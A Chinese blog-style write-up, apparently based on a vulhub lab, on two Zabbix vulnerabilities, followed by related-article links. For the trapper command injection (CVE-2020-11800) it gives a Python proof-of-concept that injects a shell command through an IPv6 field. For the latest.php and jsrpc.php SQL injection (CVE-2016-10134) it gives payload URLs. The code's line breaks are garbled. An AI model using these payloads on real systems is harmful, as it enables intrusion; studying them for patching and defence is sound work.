Zabbix

是什么？
免费的、企业级的分布式开源、C/S架构、监控众多网络参数和服务器的软件。
Zabbix基本原理
存在的漏洞？

Zabbix Server trapper命令注入漏洞（CVE-2020-11800）

zabbix latest.php SQL注入漏洞（CVE-2016-10134）

漏洞原理。

Zabbix Server trapper命令注入漏洞（CVE-2020-11800）

：在CVE-2017-2824中，其Server端 trapper command 功能存在一处代码执行漏洞，而修复补丁并不完善，导致可以利用IPv6进行绕过，注入任意命令。

修改CVE-2017-2824的POC中的IP字段，构造新的POC：

import sys
import socket
import json
import sysdef send(ip, data):conn = socket.create_connection((ip, 10051), 10)conn.send(json.dumps(data).encode())data = conn.recv(2048)conn.close()return datatarget = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})if data and b'failed' not in data:print('hostid: %d' % i)print(data)

当查看到如下结果时，则说明命令执行成功：

进入server容器，可见/tmp/success2已成功创建：

zabbix latest.php SQL注入漏洞（CVE-2016-10134）

zabbix是一款服务器监控软件，其由server、agent、web等模块组成，其中web模块由PHP编写，用来显示数据库中的结果。

将这16个字符作为sid的值，访问http://your-ip:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)，可见成功注入：

这个漏洞也可以通过jsrpc.php触发，且无需登录：http://your-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)：

软件漏洞之Zabbix相关推荐

去年黑客用的未知软件漏洞数量增长一倍创下纪录
黑客的技术正变得愈加先进北京时间4月12日消息,据路透社报道,全球最大安全软件厂商赛门铁克发布的最新报告显示,去年黑客使用的此前未知软件漏洞数量增长了一倍以上,再次表明网络犯罪和网络间谍活动的技术正 ...
漏洞战争软件漏洞分析精要学习笔记
(拖延症越来越严重) 书非借不能读也 , 时间匆匆 , 没有读完也是由于自己 , 刚刚起步吧阅读还是有一定难度所以 , 只能做个简简单单的总结了对常见软件漏洞的分类和简介常见漏洞列表栈溢出 ...
RiskSense Spotlight：全球知名开源软件漏洞分析报告
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 RiskSense 公司最近发布了关于全球当前知名开源软件 (OSS) 的漏洞分析报告.奇安信代码卫士团队编译如下. 摘要开源软 ...
开源软件漏洞升级步骤
开源软件最常见的就是各式各样的漏洞,为了产品的健壮性以及客户安全,我们必须时刻警醒! 1.漏洞扫描与检测针对开源软件需要经常进行漏洞扫描检测,可以通过一些信息库进行检测,比如:国家信息安全漏洞库或者 ...
NVD软件漏洞数据处理及分类方法总结
目录一.前言二.软件漏洞数据分析三.软件漏洞分类实验流程四.软件漏洞文本预处理五.软件漏洞文本表示方法六.软件漏洞分类模型构建七.软件漏洞分类实验结果与分析八.总结一.前言本人基于 ...
0day安全:软件漏洞分析技术(第2版)
0day安全:软件漏洞分析技术(第2版) 基本信息作者:王清张东辉周浩王继刚赵双丛书名:安全技术大系出版社:电子工业出版社 ISBN:9787121133961 上架时间 ...
机器学习：软件漏洞分析
Software Vulnerability Analysis and Discovery Using Machine-Learning and Data-Mining Techniques: A S ...
（5/8 软件漏洞攻击利用技术）如何成为一名黑客（网络安全从业者）——网络攻击技术篇
1.软件漏洞的概念与分类软件漏洞是指计算机系统中的软件在具体的实现.运行.机制.策略上存在的缺陷或脆弱点.攻击者可以利用漏洞获得计算机的权限. 软件漏洞按照软件类别不同,可以分为操作系统服务程序漏洞 ...
书评第003篇：《0day安全：软件漏洞分析技术（第2版）》
本书基本信息丛书名:安全技术大系作者:王清(主编),张东辉.周浩.王继刚.赵双(编著) 出版社:电子工业出版社出版时间:2011-6-1 ISBN:9787121133961 版次:1 页数:7 ...

软件漏洞之Zabbix

Zabbix

Zabbix Server trapper命令注入漏洞（CVE-2020-11800）

zabbix latest.php SQL注入漏洞（CVE-2016-10134）

软件漏洞之Zabbix相关推荐

最新文章

热门文章